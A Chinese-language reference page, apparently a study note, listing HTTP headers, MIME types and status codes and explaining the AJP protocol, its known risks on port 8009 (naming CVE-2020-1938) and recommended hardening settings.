Content-Length 请求体的长度(字节)
Authorization 认证信息(如 Token、Basic Auth)
Cookie 携带的 Cookie 数据
Referer 当前请求来自哪个页面(反盗链等用途)
Connection 是否保持连接(keep-alive / close)

常见文件类型(MIME 类型)

文本类(Text)

文件扩展名 MIME 类型 描述
.txt text/plain 普通文本
.html text/html HTML 文档
.css text/css 样式表
.js application/javascript JavaScript 脚本
.xml application/xml XML 文档
.csv text/csv 逗号分隔值
.md text/markdown Markdown 文本

️ 图片类(Image)

文件扩展名 MIME 类型 描述
.jpg/.jpeg image/jpeg JPEG 图像
.png image/png PNG 图像
.gif image/gif GIF 动图
.bmp image/bmp BMP 图像
.svg image/svg+xml SVG 矢量图
.ico image/x-icon 网站图标(favicon)
.webp image/webp WebP 图像

音频类(Audio)

文件扩展名 MIME 类型 描述
.mp3 audio/mpeg MP3 音频
.wav audio/wav WAV 音频
.ogg audio/ogg OGG 音频
.m4a audio/mp4 MPEG-4 音频

视频类(Video)

文件扩展名 MIME 类型 描述
.mp4 video/mp4 MP4 视频
.webm video/webm WebM 视频
.ogg video/ogg Ogg 视频
.avi video/x-msvideo AVI 视频
.mov video/quicktime QuickTime 视频

应用类(Application)

文件扩展名 MIME 类型 描述
.json application/json JSON 数据
.pdf application/pdf PDF 文件
.zip application/zip ZIP 压缩包
.rar application/x-rar-compressed RAR 压缩包
.exe application/octet-stream 可执行文件(或任意二进制)
.doc application/msword Word 文档
.docx application/vnd.openxmlformats-officedocument.wordprocessingml.document Word 文档(新版)
.xls application/vnd.ms-excel Excel 文档
.xlsx application/vnd.openxmlformats-officedocument.spreadsheetml.sheet Excel 文档(新版)
.ppt application/vnd.ms-powerpoint PowerPoint 演示文稿
.pptx application/vnd.openxmlformats-officedocument.presentationml.presentation PowerPoint(新版)

响应状态码

"响应状态码"(HTTP Status Codes)是服务器对客户端请求的响应中包含的代码,用于表示请求处理的结果。以下是常见的几类状态码及其含义:

  • 1xx 信息性状态码(Informational)

    表示请求已接收,继续处理。

    100 Continue:客户端应继续其请求。

    101 Switching Protocols:协议切换。

  • 2xx 成功状态码(Success)

    表示请求已成功被接收、理解和接受。

    200 OK:请求成功。

    201 Created:请求成功并创建了新资源。

    204 No Content:请求成功但无返回内容。

  • 3xx 重定向状态码(Redirection)

    客户端需要进一步操作才能完成请求。

    301 Moved Permanently:永久重定向。

    302 Found(临时重定向)。

    304 Not Modified:资源未修改,可使用缓存。

  • 4xx 客户端错误状态码(Client Error)

    请求有误或资源不存在。

    400 Bad Request:请求语法错误。

    401 Unauthorized:未授权,需身份验证。

    403 Forbidden:服务器拒绝请求。

    404 Not Found:资源不存在。

    429 Too Many Requests:请求频率过高。

  • 5xx 服务器错误状态码(Server Error)

    服务器未能完成合法请求。

    500 Internal Server Error:服务器内部错误。

    502 Bad Gateway:网关错误。

    503 Service Unavailable:服务不可用。

    504 Gateway Timeout:网关超时。


AJP 协议

AJP(Apache JServ Protocol) 是一种由 Apache 软件基金会设计的 高效的二进制协议,用于前端 Web 服务器(如 Apache HTTPD、Nginx)和后端 Java 应用服务器(如 Apache Tomcat)之间的通信。

AJP 的核心作用:将用户的 HTTP 请求 通过 AJP 协议 转发到 Tomcat 等 Java Web 容器上处理,再把响应返回给用户。

  • 简单工作流程:

    1. 用户访问 Web 服务器(如 Apache HTTPD);
    2. Web 服务器通过 AJP 把请求发送给 Tomcat;
    3. Tomcat 处理请求,并将结果返回给 Web 服务器;
    4. Web 服务器再返回响应给用户。
  • AJP 的特点:

    特点 说明
    协议类型 二进制协议(比文本协议如 HTTP 更快)
    默认端口 8009
    双向通信 支持请求转发和响应返回
    支持功能 请求头传递、SSL 信息、会话 ID、远程地址等
    使用场景 Apache + Tomcat 架构中常用,如使用mod_jk​、mod_proxy_ajp​等模块时
  • 可能存在的危害:

    AJP 默认监听 8009 端口,若未做访问限制或身份验证,可能会被攻击者利用,造成:

    ① 未授权读取文件;

    ② 远程代码执行(如 CVE-2020-1938);

  • 建议配置:

    若不使用 AJP,建议关闭;

    若必须使用:

    • 将监听地址绑定为 127.0.0.1​;
    • 设置 secretRequired="true"​ 和强 secret;
    • 限制防火墙访问 AJP 端口。

你可能感兴趣的:(网安知识积累)